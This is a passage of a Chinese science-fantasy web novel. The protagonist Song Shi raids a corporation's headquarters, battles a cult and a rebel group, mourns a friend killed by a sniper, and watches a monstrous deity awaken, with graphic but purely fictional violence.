突然被人打断,温妮莎愠怒地看向门口,是一张生面孔,但她知道她。 谅雀给她说过宋拾。 可温妮莎却对宋拾喜欢不起来。 一个复制品,竟然直呼指挥官的名讳。 谅雀看见宋拾,连忙坐起身,“怎么了?” 宋拾端详着她,竟发觉她比上次见到时更加消瘦苍白,她蹙蹙眉,“你身体还好吗?” “老毛病了,没什么大碍。”谅雀跳下了疗养仓,向她证明自己真的没事,“你有什么事情要说吗?” 宋拾瞥了眼温妮莎,谅雀微笑着:“没关系的,温妮莎不是外人。” 温妮莎冷哼。 宋拾这才将计划告诉了谅雀。 奥罗拉能利用义肢操控用户已经是板上钉钉的事实,舆论发酵到一定程度,联邦是要问责,而一旦问责,那群老家伙会觉得权威被挑衅,故搞事。 再者,即便有霍尔支持,短时间内也无法批量生产出与奥罗拉科技相匹敌的产品,与其替代奥罗拉,不如直接占据。 起初,奥罗拉会命令城市中的机器人攻击人类,这时,她们原本获得的权限便有了作用。 这是第一轮机器暴乱。 奥罗拉不是傻子,自家系统被黑了,绝对会以最快速度更新。 所以,要赶在第二次暴乱前,夺取权限,篡改数据。 而这次暴乱,也是她送给回溯的“时机”。 第77章 4033年6月8日。 雾雨将整座城市氤氲得湿漉,空气是吸饱水的海绵,一挤便能挤出水来,沉甸甸的。 奥罗拉大楼开启防护模式,几近透明的保护罩笼罩住整栋大楼,安保人员警戒守卫着,确保一只苍蝇也飞不进去。 根据设想,城市机器人暴乱,佩戴他们产品的联邦军陡然自爆,仿生人袭击人类。 然而,世界仿佛被按下了暂停键, 没有半点预期中的消息传来。 很快奥罗拉上层开始排查系统, 果不其然发现自家系统早在几天前便被黑客袭击。 一时间,公司所有人都将注意力凝聚在系统上,全然没发现三只苍蝇无视安保系统,悄然溜了进来。 以至于,当宋拾踹开办公室门时, 奥罗拉首席执行官汪睿成端茶的手微顿, 满脸惊讶,而后往靠背一躺,笑容和蔼:“哟, 居然是指挥官大人。” 男人两鬓头发微微泛灰,看起来正值壮年,然而星网资料显示他七十八岁。 宋拾没有纠正,而是顺水推舟演下去,佯装诧异,“你知道我?” 汪睿成捏着茶盖撇去浮沫,轻轻吹了口气,轻描淡写地转换话题,“霍尔派你来的?有时,太过年轻气盛反而是件坏事,比如你有没有想过,进来后该怎么离开。” 宋拾笑了,“当成是踩着你的头离开。” “砰”地一声,茶杯砸碎。 汪睿成神色僵硬,阴鸷盯着眼前的人。 “好大的口气。本来还想给霍尔一个面子。” 话音刚落,警报声响彻整栋大楼,门外传来匆匆的脚步声。 宋拾眼前一花,汪睿成瞬息闪到她眼前,抡起针管就要刺来。 老不死竟然是精神师? 宋拾利落转身,扣住他两手手腕往回掰,“咯咯”作响,冰冷的枪口抵住他的后脑勺。 突然,她手上的触感变化,汪睿成像泄气的气球一般瘪了下去,变成一张薄薄的人皮。 【金蝉脱壳:你将拥有蜕不完的皮。 】 糟糕。 宋拾蹙眉,立刻松手,警觉观察四周。 房间空荡荡,没有半点人影,电光火石间,她猛然意识到什么,抬头。 天花板上爬着一个光溜溜的男人,四肢如同蜘蛛一般撑着,一百八十度转动头,目光诡异地盯着她。 顷刻间,天花板上的家伙又不见了踪迹,凭空在眼前消失。 房门和窗户都未动过,宋拾知道他还在这里,于是深呼吸,释放精神触手感知。 密密麻麻的织网遍布,勾成密不透风的茧,风吹草动,她都能感知察觉。 耳尖耸动。 一处的蛛线,动了。 宋拾猛一弯腰,抬腿踹向空气某处,“通”地一声,空气骤然波动,一个赤裸的男人摔倒在地。 为防止汪睿成再度金蝉脱壳溜走,她放出绳索死死捆住他,抽出匕首,随心一扔,正好扔到男人两腿间。 刀锋铛地插进木质地板。 吓得汪睿成战栗了下。 他吞咽口水,余光瞥向门外。 该死,警报声响了那么久,为什么没人进来。 宋拾夺过他手中的针管,看着寒光闪烁的针尖和鲜红的液体,扬起眉毛,冲他脖颈比了比。 “这是干什么用的?” 汪睿成呼吸急促,竭力远离那根针管,凝视宋拾,“你们想要什么,都可以商量。”在她视野盲区,他的皮肤又逐渐皱巴干瘪下来。 “啊呀,有这种好事为什么不早说呢?”宋拾笑容灿烂,一脚踩上他的手腕,重心倾上去,针尖正对男人惊恐的眼睛。她嗓音轻柔,又冷漠,“别以为我不知道你想干什么。” 鬼哭狼嚎般的叫嚎从房间内传来。 门开了。 鲜血蔓延而出。 所有人的视线都落在年轻的女人身上,白衬衫上、脸上还沾染新鲜的血迹,左手拿着一截手,右手握着两颗圆润的珠子。 霎时,所有人都停止了呼吸。 向凡原本还在嫌付秋棠这个人性巨大挂件烦,影响她动手,此刻噤了声。而付秋棠更是瞪着眼,不敢吭声。 小白游刃有余地将骨剑刺进一个人的心脏,拔出,甩了甩血,看向门口。 女人像扔垃圾似的,将那些残肢眼球丢给小白,“系统库的门不知道是用指纹还是虹膜打开,索性都弄来了,总该有一个能成功吧。” 语气随意轻松地像是在谈论吃什么一般。 安保人员满脸惊惧,眼睁睁看着女人冲他们伸开了手,而后微微一笑,犹如摇曳的山茶花。 “湮灭。” 一切都在有条不紊的进行,因为在恶战前,不止宋拾一个人在努力。 两天前,霍尔批准谅雀方案,同意分批将E2604区居民带离那个不毛之地,并悄悄派联邦军在那驻扎防守。 消息一经公布,便引起轰动,有人歌颂指挥官和霍尔的仁慈,但更多的则是抨击,他们坚信那群从辐射区来的家伙已经称不上是人类了。 在大部分眼中,E2604区的人不是人,即便如果他们得知E2604区可能会成为异种与人类之间战场,也不会为那的原住民感到悲哀。 奥罗拉大楼的警报彻响。 这个时候,谅雀她们应该已经在不同城市蹲守回溯了。 核对完虹膜,系统库大门打开,付秋棠和向凡溜进去修改系统设定,宋拾和小白守在外面收割人命。 “哀涅托信徒及圣子目前已现身女神像广场。”温柔的机械女声突然响起。 听到宙启话的宋拾正冷着脸将匕首插进对方胸脯,鲜血溅了她一脸。 女神像广场的神像重塑后又被人推翻,那里即便没再被封锁,也没什么人愿意去了。 哀涅托为什么要去那里? 此时剩下的人不多,宋拾将主场让给小白,跑进奥罗拉器械库摸走一把狙击枪,现身距离广场最近的一栋大楼之上。 她趴着,透过瞄准镜窥看。 猛然间,扑腾翅膀的声响,天空一暗,是鸟儿的影子,洁白的鸟羽如雪花般飘落。 白鸽,数不清的白鸽。 黑袍人像不详的乌鸦,围起广场,为首的黑袍人稳稳当当走在最前方,覆盖整个脑袋的黑色面具,正面横贯着一颗硕大的金色眼珠。 诡异华丽的歌声飘荡。 一个同样佩戴大眼珠面具的人,从身体状态来看,是位年轻的男性,赤裸的上半身被泛青光的鳞片覆盖,高声吟唱。 晦涩难懂。 宋拾视线一转,落到翩翩起舞的男人身上。 一袭洁白的长袍,赤裸着双足,他肌肤白得反光,灿烂的蓝发一路散到脚踝,半披的金沙遮住半张脸。 他步伐轻盈而优雅,舞步与那诡异的歌声完美契合,渐渐,动作越来越快。 宋拾呼吸一窒。 广场上大理石砌的地正在一寸寸裂开。 那淡漠的蓝眸点缀着碎星,毫无知觉一般,缓缓伸展双臂,犹如天使绽放祂的羽翼。 地缝越裂越大,源源不断的藤蔓冒出,扯住信徒的身体往深渊里拖,没有人挣扎,仿佛心甘情愿,又像是被歌声蛊惑。 这是活人献祭,加速那东西苏醒啊。 宋拾大脑乱糟糟的,她咬牙,狙击枪瞄准舞者的心脏。 然而下一秒,舞者抬眸,漂亮蓝宝石般的眸子对上她的眼。 本不该犹豫,她却犹豫了半秒。 男人的身影消失在视野里。 还未反应过来,一双温热的臂膀环抱住她的腰肢,伏在后背,宋拾身体僵硬,血液冻结,听见依恋轻柔的声音。 “宋拾,我好想好想你。” 他迷恋地嗅闻她的颈窝、发丝,“真的是你…… “我以为我会忘记你,可我每天夜里都梦见你,我就想现在这么抱着你。” 果然心疼男人倒霉一辈子。 宋拾出了一身冷汗,发动精神力挣脱开他,匕首利落地刺他的脖颈。 伽蓝匆匆躲开,但纤细白皙的脖颈上还是留了道浅浅的血痕。 然而精神触须瞬间缠住他,动弹不得。 他茫然地眨动蓝眸,生出一丝委屈来,下意识脱口而出,“主人想杀我?” “为什么?” 似乎在控诉她。 宋拾盯着他,“你们是在献祭?” 伽蓝仿佛没听见,视线落在了狙击枪上,“刚才,你瞄准的是我吗?” “是。”宋拾绷紧着脸,“为什么要这么做?” 伽蓝长睫颤抖,心脏痛得他无法呼吸,只是露出一抹笑,摇头,“我只是在完成神的命令。” “神?”宋拾嗤笑,“是E2604区地下那个人脸水母还是智者?” “你知道E2604区地下的东西?不,它只不过是高阶的异种……” “神是谁?” “神就是神,不生不死,不老不灭,无所不能。” 宋拾皱眉,从他嘴里根本挖不出什么有用的东西,完全是鸡同鸭讲。 但也可以猜测,他口中的神,极有可能是智者。 “宋拾,谅雀昏迷了。”宙启突然出声,“那边需要你。” 时间不多了。 精神触须化为毒刺,刺入他心脏前,宋拾问,“做这些,你不后悔吗?” 这是她给他的一次机会。 但也仅有一次。 “后悔?为什么后悔?” 伽蓝困惑地看着她。 宋拾如坠冰窟,他不在乎,那些无辜的人,那些被毁掉的家庭,他毫不在意。 也许是程序设定,也许是他天性凉薄,可那些惨死的人更是无辜的。 “我知道了。” “宋拾……” 伽蓝手心凭空出现一个花环,新鲜娇艳的花朵上还有露珠。 “我每天都会编一个出来,等下次见面送给你,没想到,我居然还有机会……” 他的话戛然而止,毒刺已然刺进他的胸口,刺穿芯片,电流在心口弥漫开来。 束缚在身上的桎梏陡然一松,他蓝眸氤氲,踉跄向前一步,努力想将花环送过去,可眼前的女人冷酷得如同冰雕,冷漠地看着他。 他在哭。 可仿生人怎么会哭? “宋拾……主人……我好痛。” 电流越来越小。 花环掉落在地。 伽蓝倒在地上,蓄满泪水的眼珠望着毫不犹豫离开的女人。 他多么希望她回头看看他,可她一次也没有回头。 良久,脚步声响起,他以为是宋拾,却见一双锃亮的皮鞋,颀长的腿。 那是…… 伽蓝的瞳孔渐渐失焦涣散。 男人推了下金丝眼镜,狐狸眼微眯:“有意思。” 他的手虚虚抚过他的胸口,芯片瞬间完好如初。 “仿生人竟然会爱上人类。” 第78章 暴雨如注, 阴沉沉的天空。 如预料那般,回溯的身影出现在城市之中,几辆大卡车疾驰,却甩不掉紧随其后的联邦军。 “砰砰”子弹差点打中轮胎。 西索斯瞥了眼穷追不舍的车,低声暗骂几句,随后吩咐手下朝路边普通人开枪。 雨水噼里啪啦敲打防弹玻璃,模糊他阴沉的脸。 他们一现身,无数联邦军便从黑暗里源源不断涌出,仿佛恭候多时。 是内鬼,还是这本是一场专门为他们而设的陷阱? “轰隆”雷将西索斯的脸劈成一明一暗,他苍白的脸上浮现冷笑。 火光漫天, 硝烟弥漫。 街道上, 车辆紧急刹车又相撞,尖叫声相叠。 那群钢铁人打不过就自爆,甚至专门拉上普通人下地狱。 回溯的人,都是疯子。 一时间, 温妮莎停下疏散人群的脚步, 烦躁的念头不住纠缠,她忧心忡忡看向与回溯交战的单薄身影。 那些人有金色有红色,分别代表着仿生人与人类,人造精神师占比竟然高达百分之四十。 温妮莎喉咙发紧, 只能无数遍安慰自己。 没关系的,没关系的,那可是谅雀,无所不能的谅雀,她没事的。 温妮莎转头想继续疏散人们,却眼睁睁窥见那抹身影变得如此苍白, 摇摇晃晃跌倒在地,再也不起。 “谅雀!” 她不顾淋在身上的甜雨,不顾射在肩上的子弹,拼命奔向那抹淡色。 她知道。 她一直知道。 谅雀才不是无所不能的,她脆弱得如同藏进玻璃罩内的陶瓷,稍有不慎,便会粉身碎骨。 她的身体是那么糟糕,糟糕到活到现在都是奇迹。 特别是6月4日的体检,各项指标简直是红灯频闪。 雨水模糊了温妮莎的视线。 她后悔没再劝劝她,可又心知肚明,自己无法强制要求她躺在疗养舱,更无法束缚她的腿脚。 谅雀本该生而自由。 终于,一对男女从天而降,挡在了昏迷的谅雀身前。 那个红皮肤的女人怀抱起她,一步步朝温妮莎走来。 沉睡中的谅雀双目紧闭,脸苍白如蜡,幸好,胸脯还在微微起伏。 温妮莎长舒一口气,缓缓伸出手,以近乎虔诚的姿态,小心翼翼地接过她。 而后,才看见一道姗姗来迟的人影—— 宋拾赶到时,谅雀昏迷不醒地躺在温妮莎怀里,周边炮火不断,联邦军和回溯打的不可开交。 一道蓝色的光罩笼罩住她们。 “抱歉。”宋拾一边说着,一边释放感知,寻找西索斯的位置。她郑重地凝视金发女郎,“我会尽快结束这场战斗。” “抱歉,你在给谁抱歉?该听你道歉的人还在昏迷!我不信你不知道她身体状况!你为达目的,根本不考虑别人,枉死那么多无辜路人,你良心就不痛吗?”温妮莎仿佛听到了天大的笑话,不无恶毒说,“宋拾……我真希望你能死在这里。” 说罢,她毫不犹豫地抱着谅雀转身离开。 阎温柔忿忿不平,握拳头:“哎,你怎么这么说!” “她说的也没错。”宋拾望着不断落泪的天空,它渐渐被血色浸染。 那么多路人惨死,谅雀昏迷,的确和她脱不掉关系。 阎温柔不理解:“谁不愿想出足够完美的计划,可时间不多了能怎么办。围剿回溯基地联邦以前不是没做过,但哪一次成功了?西索斯滑得跟泥鳅一样,如果不是给了他错误的信号,他怎么可能会冒头? “少数人利益换取多数人的利益,这也是迫不得已的啊。” 宋拾垂下睫毛,端详陷进手心的雨珠,“没有人甘愿自己被别人划进少数人的范畴,然后被轻飘飘缀上个牺牲。” “可……” “这件事,我可能做错了。”宋拾黑白分明的眼眸看向她,“可是我不后悔,因为我从来不是救世主,不是英雄,我只是个想要活下来的小人物。” 轰隆一声惊雷。 “我不想死。” 如果现在停下,那她所做的一切又有什么意义呢? 所以,她不敢停下。 汹涌的红色云海滚滚而来,将整个世界笼罩得严实。暴雨撕破天际,咆哮着、狰狞着,朝着人间奔来。 宋拾最终锁定目标。 在一座高架桥上,桥下是条长河,风经过后,水纹层层叠叠,像刚孕育完生命的女性的肚皮。 宋拾拦截在那辆车前,清晰地看见西索斯面上的惊惧。 “湮灭。” 硕大的白色光球以摧枯拉朽之势袭去。 电光火石间,一个钢铁人陡然冒出,挡在车面,幻化出一堵墙挡住了光球。 那钢铁人动作迅速挥舞着电锯朝她奔来,借此间隙,那辆车仓惶逃离。 宋拾蹙眉,堪堪躲过,又是一个人造精神师。 电锯再度挥来之时,宋拾下意识闪烁,那人却顿下,丢出一颗炮弹来,动作迅速撤离。 钢铁人盯着爆炸而开的桥。 轰隆隆隆—— 大桥狰狞地哀叫,桥身的混凝土结构在爆炸冲击下纷纷龟裂、剥落,露出里面扭曲变形的钢筋。 随着彻底坍塌,漂浮在空气中的尘埃碎屑几乎遮挡了视线。 钢铁人冷冷收回视线,正欲转身,一只燃烧着烈焰手猛然搭在防弹头盔上,未来得及闪躲,刺鼻的烧焦味弥漫,头盔烧掉大半。 那张脸彻底暴露出来。 几绺发丝发被烧得干焦。 “贝莉娅?” 宋拾愣神,肌肤上燃起的火焰陡然消失,这让贝莉娅抓到了空子,猛然起身,幻化出红艳艳的铁链锁住她的脖颈,猛勒住。 那双红眸只有冷漠与决绝。 宋拾感觉血液上涌,呼啸着在耳边疾驰炸开了花,“你不认识我了吗?我是宋拾啊……” “少废话。” “芙蒂斯呢?你不管芙蒂斯了吗?” 贝莉娅动作一顿,冷若冰霜,“你怎么知道我妹妹。” 她真的不记得了。 宋拾喉间滚过苦涩,努力睁大眼,想要看清楚她,可奈何雨水一滴又一滴模糊视线,颈处的窒息感愈发浓烈。 身体每个细胞都在叫嚣着动手,然而她不知道为什么,似乎彻底放弃了挣扎。 那双润墨般的眸子如琉璃一般纯净,却溢满浓浓化不开的悲伤。 “贝莉娅,我们真的是朋友啊……咳咳,是回溯抹除了你的记忆吗。你救过我很多次,你还告诉我,你最讨厌机械化……你的枪上刻着forever ,你说劣等基因的底层人无权享受救济所的救助,你的生日是3月28日,如果你不认识我,我怎么会知道这些?” “你……” 贝莉娅停顿,面色茫然,茫然无措,睫毛颤抖:“我……不知道,我不认识你。” 颈上压力骤然一松,宋拾大口喘气,喉道火燎的痛。她温柔凝视她,“贝莉娅,你要相信我。” 贝莉娅迟疑了。 那双苍白的手轻轻搭在了她的手上。 “相信我。” 贝莉娅耳边的通讯器里传来西索斯的警告,“不要相信她的鬼话,杀了她,完成这次任务,你妹妹的病就会好了。” 妹妹……对,妹妹还在等着她。 贝莉娅想加重力道,可无论如何也使不出劲,她不知道为什么,心脏骤然疼痛起来。 宋拾眨动着眼睛:“即便你忘记我了也没关系,我们会有新的记忆……我们以后一起满世界旅行,还有芙蒂斯,怎么样?” “我……” 好奇怪,好奇怪。 心脏莫名酸涩、疼痛,贝莉娅上颚又酸又胀,汹涌的泪不受控制从眼眶里流出,可是她记忆里根本没有眼前这个人,偏偏听了她的话,她忍不住地难过流泪。 该相信她吗? 几乎同一时间—— “贝莉娅,跟我走吧。” “贝莉娅,杀了她。” “好。”她唇角勾勒出一抹笑,红色的眸子弯起,里面的泪像碎星。 通讯器里断断续续传来:“Z……开枪杀了她。” 贝莉娅几乎是本能地将宋拾护住。 砰—— 天际翱翔的白鸽振翅,被血红的天空吞噬殆尽。 贝莉娅看见宋拾的表情扭曲在了一起,那双漆黑的瞳孔骤然收缩。 为什么露出那么惊慌不可置信的表情? 她似乎终于想起来了,可是太晚了。 鲜血顺着额头流下,她意识涣散,视线模糊,踉跄着扑向那道温柔的身影。 “宋拾,我又救……” 宋拾搂住她。 贝莉娅已经死亡,不论怎么使用骨肉再生,那双眼睛始终没有睁开。 那轻盈甜腻的糖果香彻彻底底消散。 她像后知后觉,迷茫地端详那张苍白的面庞,大片血迹正在模糊她的脸,宋拾不断尝试擦拭,那张面孔却愈来愈模糊。 刚才还答应她的人死在了眼前,宋拾大脑嗡嗡嗡乱响,不住地吞咽吐沫,努力抑制住喉咙里的痛意。 她捏住她耳边的微型通讯器,放在耳上,西索斯的声音: “蠢货,你怎么开枪的?算了,死就死了……别磨叽了,快杀死那个女人!” 宋拾抬头,精准锁定开枪的人,一眼便看到了慌张的Z ,以及他手中的狙击枪。他正趴伏在一辆卡车上。 杀了他杀了他杀了他杀了他杀了他杀了他杀了他杀了他杀了他杀了他杀了他杀了他 杀了他 杀了他 她每个灵魂都在叫嚣,每个细胞都在叫嚣。 蓝光从她皮肤上溢散,符文紊乱在眼底上游荡,发丝凌乱飞舞。 宙启:“冷静,宋拾,冷静下来,深呼吸……超负荷使用精神力会对身体造成不可逆转的伤害。” 雨还在下,下进了宋拾的眼睛里。 冷静冷静冷静,怎么冷静。 每次呼吸,那些氧气便化为尖刺,扎进五脏六腑,将她扎得千疮百孔。 她甚至呼吸不上来,胸脯剧烈起伏,肩膀沉重得她直不起腰。 宋拾闪现到罪魁祸首面前,迎着那张惊惧的脸,她冷漠抬起手攫住他的脖颈,咔嚓一声,松手。 在眼眶肆意横冲直撞的符文速度快到肉眼不看清,她双眼膨胀似的痛,仿佛下秒便要爆裂而开。 宙启语调扬高,第一次出现人类特有的情绪波动,“宋拾,请冷静下来!” 宋拾置若未闻,身影霎时消失,出现在卡车车内,同那张不可置信的脸对视。 西索斯还是那么形销骨立,面颊苍白,下颌尖瘦,见到她时情绪波动大到剧烈咳嗽,这么一个人,仿佛一只手就可揉碎。 “快杀了她!”他咳嗽着,高声命令。 “湮灭。” 白色光团充斥车厢,准备动手的回溯成员顷刻间化为齑粉。 西索斯安静下来,阴鸷地盯着她,居然笑出声,“早应该杀了你……” 宋拾眼底淬满寒冰,握起拳头狠狠揍了他一顿,西索斯被打得皮青脸肿,硬是一声没坑,安静得她以为他死了。 她粗鲁地揪住他的衣领。 可不能就这么死了。 宙启劝道:“冷静,宋拾,会超负荷的……” 宋拾打量那张可笑的脸,“是啊,你早该杀了我,而不是让我进回溯,还专门找老师教我精神术法。” 西索斯错愕睁大眼,唇角却诡异上扬,笑出一口血沫来,“是你,竟然是你……你居然没死……” “芙蒂斯在哪?” “芙蒂斯?”西索斯怪异地挑起眉梢,后知后觉想起什么一般,“那蠢货不会是为了救你才死的吧?我还以为是Z枪法不准……咳咳……哈哈哈哈,呃——” 宋拾赤红着双目,死命掐住他的喉咙,“说,在哪?” 第79章 湿漉漉的雨雾, 一辆悬浮窗停在这片荒凉,迎面是幢老旧的宾馆。 车门打开,一只颀长的腿跨出,锃亮的黑皮鞋被污泥蛀食,冷感白皙的手撑开伞面,走向宾馆。 宾馆内,老板衔着烟,躺在藤椅上吞云吐雾,终端播放着近日新闻,绕不开雾霾、甜雨和不断冒出的异种。 越来越多人失踪, 有人推测失踪的人与那些地底爬出的异种有关。 忽然, 门打开, 寒风袭来,一双沾染污泥的皮鞋踏进来。听到动静,老板撑开一条眼皮,浑浊的眼睛看去—— 男人身着浅灰色大衣和黑色高领毛衣,衬得他身形颀长而笔挺。倒是有些眼熟,老板一时间忆不起哪里见过这张脸,这样一张脸,按理她不该忘记的——他模样尤为俊美,眼窝深邃,鼻梁高挺,一头耀眼柔顺的银发梳在脑后,露出冷峻的面庞。 “我是来找……” 霍尔看向老板,还未说明来意,老板便不耐烦往上指了指,说了房号,咕哝道:“今天第六个了。” “还有别人?”霍尔怔了怔,微不可察地蹙了下眉。 老板慢悠悠说道,“还有个怪人,来都来了,却不上去,站了一会就走了。” 道谢后,霍尔踩着咯吱咯吱作响的木板上楼,寻到一间房门前,他抬手,指节轻轻叩了三下门,谁知房门并未落锁,随着惯性,门缓缓晃开了。 潮冷的风猛然吹拂而来,霍尔视线落在蜷缩坐在床上仰头望向窗外的女人身上,她恍若毫无知觉,任凭窗外的雨水打湿额头。 令人无法忽视的是,是她那头纯白的头发。 一时间,他心脏像被一双手狠狠攫住,呼吸不上来的疼痛。 霍尔跨步上前,关窗。 “宋拾。” 终于,那双乌亮的眼眸转向他,意外地打量他,“你怎么也来了。” 这双纯净明亮的眼眸顷刻间和他们第一次相遇之时那双眼睛重合。 “芙蒂斯我已经安置好了,找来了最好的医生,她一定会好起来的。”霍尔轻轻说,淡金眸流淌着温柔,“谅雀也醒了,她一直想见你,但被温妮莎强制压进疗养舱里,让她好好休息。” “我知道。”宋拾顿了顿,补上,“阎温柔给我说了,谢谢你愿意帮忙找人治疗芙蒂斯。” 霍尔目光不自觉触及那头白发,他心脏再度紧缩,声音泛哑,“你的头发……” 闻言,宋拾揪了揪银白的发丝,笑道,“不觉得很酷吗?” 那天,她火烧回溯基地,销毁全部数据,让西索斯亲眼看着多年的心血毁于一旦。 幸好西索斯的确在意这些,不然她恐怕要苦恼许久,思索该如何折磨他了。 大火蔓延,尖叫呐喊交织。她眼底映着火光,蓦然发现,原来自己曾经所惧怕,所胆颤的,是如此不堪一击。 当然,这还不够,她笑容灿烂,将那些残酷真相亲口一字一句告诉他。 “统治联邦?你不会真信了那个家伙的话吧。”她嘲弄歪头,递给他一支枪。 宋拾预想他会反击,然后再慢慢折磨他,碾碎他最后一根脊骨,最后一丝希望,谁知西索斯竟然那么窝囊,居然毫不犹豫吞枪自杀。 最终,她在地下室找到芙蒂斯,破开罐子,绿色液体洒落一地,她背着她彻底离开了那里。 思绪渐渐回笼,宋拾疲倦地慢吞吞打了个哈欠,眼皮有些沉重。又犯困了。她强打起精神,起身又推开了窗户,接触冷风的一霎,大脑总算清醒了些。 付秋棠成功接管奥罗拉,基于原有的义肢全方面更新叠代,武器型、速度型的义肢和外骨骼装置大批量投入生产。真到了那一日,人类也不至于毫无招架之力。 今天宋拾的房间热闹得像菜市场,来了一批又一批人,生怕她想不开,颓废一蹶不振。 她没有别人想的那么脆弱,生离死别于她而言是司空见惯的,只是亲眼见证贝莉娅的死亡,还是无法遏制被负面情绪包裹。 不过颓废只是一时,她习惯迅速收拾好心情,继续没心没肺活下去。 “超负荷所带来的不可逆危害,恐怕不止是发色的改变吧。”霍尔倾下身,与她平视,认真审慎她,叹息,“宋拾,我希望你好好爱惜自己的身体。” 宋拾眨眨干涩的眼,男人高大的背影即将消失在门口时,她喊住了他。 “能借我一辆车吗?” “当然。”他顿住脚步,薄唇微扬,修眸陡然明亮。 …… 宋拾有预感,距离母体苏醒已为时不远。铺满天空的赤红,没完没了的甜雨,厚重的浓雾都揭示着危险来临。 也许就是明天。 冰冷的雨水一圈圈叩响车窗,宋拾猛踩油门,车尾猛然射出蓝色染料,加速驶向E2604区。 狂风裹挟着沙尘,老远便看见驻扎在E2604的联邦军,以及一批批离开的当地居民。 因为提前打过招呼,验证完身份后,她就被放了行。 漫天飞扬的尘土常年笼罩这片荒漠,原本灰蒙蒙的天空已变为滴血一般的红,诡谲渗人。 宋拾两脚陷进沙土中,拔出沉重的腿,余光瞥见地面上爬满密密麻麻的蚂蚁。 她抿唇,循着记忆朝前走去,迎面碰见浩浩荡荡的人群闯入视野。由联邦军护送着,队伍倒还算整齐。 相遇之时,宋拾随意朝队伍中瞥了一眼,谁知正巧看见一张眼熟的面孔,顷刻间,四目交错。 陶顺安看见宋拾,下意识慌乱,随后迅速冷静下来,她注意到宋拾的目光仍围绕着她打转,似乎在找什么人。 她知道她找谁。 那时,政令尚未下来,她们全家都围绕查普曼打转,她无数次割腕给他喂血,确保他能活下来,即便食物严重短缺,也从未让他受过饿。 也许是查普曼过惯了纸醉金迷的奢侈生活,抑或者是险些丧命原因,他的脾气简直糟糕透了。不过这些都可以忍受,只要她的家人能逃离这个该死的地方。 她一遍遍告诫自己只要忍耐,可他千不该万不该辱骂她的妈妈和嫂子,甚至差点把她最宠爱的小侄女推向异种口中。 她忍耐了那么久,那么久,可那一刻积攒在心中的怨恨无限膨胀。 凭什么? 凭什么她们生而卑贱,凭什么要对那些上位者摇尾乞怜? 她如此在乎的东西,在他眼中一文不值,她只不过是他脚边的一条狗,豁出性命才能得到零碎的肉条。 所以她做过最正确的决定就是杀死他,即便她曾经所忍受,所努力的一切都将付之东流。 陶顺安相信人只要活着,总还有别的路可走。然而她的嫂子并不那么认为,得知她杀死查普曼后,一向温柔的嫂子疯了一样咒骂她,居然说她女儿真被喂了异种又如何,只要能离开这里,为什么不能忍耐? 为什么? 陶顺安曾经也是如此认为,所以她将自己的纯真、善良、道德一层层剥离撕扯下来,血淋淋的,一次又一次背叛八年前的自己。 可得来的又是什么呢? 她无比茫然,生出极度的恐惧来,仿佛婴儿被迫离开羊水一般。她好像做错了,杀死了那么多无辜的人。 很快,那道政令正式落下,她无法抑制躁动的喜悦,奔向那栋老破小,敲开门想告诉嫂子她们一家终于可以离开这里了。 然而门开后,嫂子吊在屋里,双眼瞪得老大,舌头长长耷拉着,死不瞑目瞪着她。 “安安,怎么了?” 突然,母亲苍老的声音传来。 陶顺安鼻尖一酸,缓缓摇头,握住母亲的手。那双手宽大粗糙,生有厚厚的老茧,手指粗大,可又是那么温暖。 她没有再去看宋拾。 她卑劣地希望,自己能和家人幸福快乐活下去。 …… 目送走大部队,宋拾疲倦地打了个哈欠,晃晃悠悠朝着缝隙的方向走去。 凭靠着之前的记忆,她穿梭过黑暗,彻底隐蔽掉自己的气息,所以几乎没费什么力气就来到了人脸花的位置。 这时,一个女人缓缓从黑暗里现身,淡漠的目光落在宋拾身上时化为惊诧。 裴羽流看见她,下意识蹙眉,“怎么是你……这里不是你该来的地方。” “我来找你。” “找我?” “我重生过,这是我们第二次在这里相遇。”宋拾目光灼灼盯着她,“我知道你没办法摆脱这个怪物,知道是智者在操控它……这些,都是你告诉我的。” “是么。”裴羽流轻轻似问非问说了句,而后轻描淡写说,“那上一世的我一定死了。” 宋拾抿了抿唇,“有办法能阻止它苏醒吗?如果不能,有什么办法杀死它吗?” 裴羽流目光转向人脸花,眼底不自觉浮现依恋的情绪,那是她无法控制的。指令告诉她,要爱祂,不顾一切保护祂。 “几乎没有。” “几乎没有?那就是还有可能,对不对?” 裴羽流叹了口气,“祂迟早会苏醒。” 闻言,宋拾怔愣,旋即反应过来这是个文字游戏。裴羽流不能做出伤害母体的举动,哪怕是话语。 “那该怎么做?” “神,不可直视。” 神不可直视? 一时间,宋拾头脑风暴,瞬间回想起对上人脸花眼睛时那股溺毙的窒息感。 裴羽流轻轻说道,“到那时,我会成为祂的眼睛,所以这双眼睛不会睁开。” 顿了顿,她继续道:“但然后呢,宋拾?这个计划失败,那个人还会想出别的法子来达到他的目的。” “……我知道了。” 忽然,裴羽流眨了眨眼睛,罕见地用俏皮的语气,“快点结束吧,好想吃火锅哦。” 宋拾望着裴羽流缓缓飘浮到半空,距离人脸花越来越近,直到化为一束渺小的光团,融进去,彻底消失不见。 “会结束的。”她喃喃。 —— E2604区地震。魔/蝎/小/说/m/o/x/i/e/x/s/.c/o/m 【END】 第80章 罗元市夜晚被浓稠的雾气笼罩,能看清的只有赤红的天空,不时传来野兽嘶吼和人的求救声,再接着是联邦军的枪炮声。 雨水重重砸在玻璃窗上,模糊掉女人略带疲乏的面庞。突然,一条泛荧光的藤蔓毫无征兆爬上来,紧贴着玻璃,仿佛有无数双眼睛死死窥视房中的人。 宋拾同它“对视”几秒,利索地拉上百叶窗。 回到贝莉娅在罗元市的公寓屋,她躁动不安的心绪逐渐趋于平静。 粉嫩的装潢无一例外是付秋棠的杰作,只是餐桌上花瓶里的花早已枯萎,紧巴巴地缩着。 路过时,宋拾顺手捞过一只掉在椅角的小熊玩偶,掸去灰尘,本想随手丢在座椅上,可不知出于什么心情,她夹在怀中进了卧室。 宋拾规规矩矩躺在床上,将小熊抱在胸口,思绪回到五天前。 裴羽流的身影彻底消逝,融进那庞然大物的下秒,地动山摇, 地道坍塌。人脸花终是苏醒。 人类如何击败“神”, 不在她的思索范围内,有谅雀霍尔她们在,她的背后是安全的,可以毫无顾虑想方设法阻止、甚至杀死智者。 而她的底牌—— 智者亲手送她的【预知】。 宋拾睁大着眼睛,静静盯着天花板,听着外面唰唰的雨声,困意竟又一次密不透风涌上来。 意识跌落深海前,白皙的肌肤溢散出蓝色的光雾,古老符文顷刻间游走她的全身。 她轻轻阖上眼皮。 时针滴滴答答附和着雨声,吞噬掉了外面高亢的尖叫。 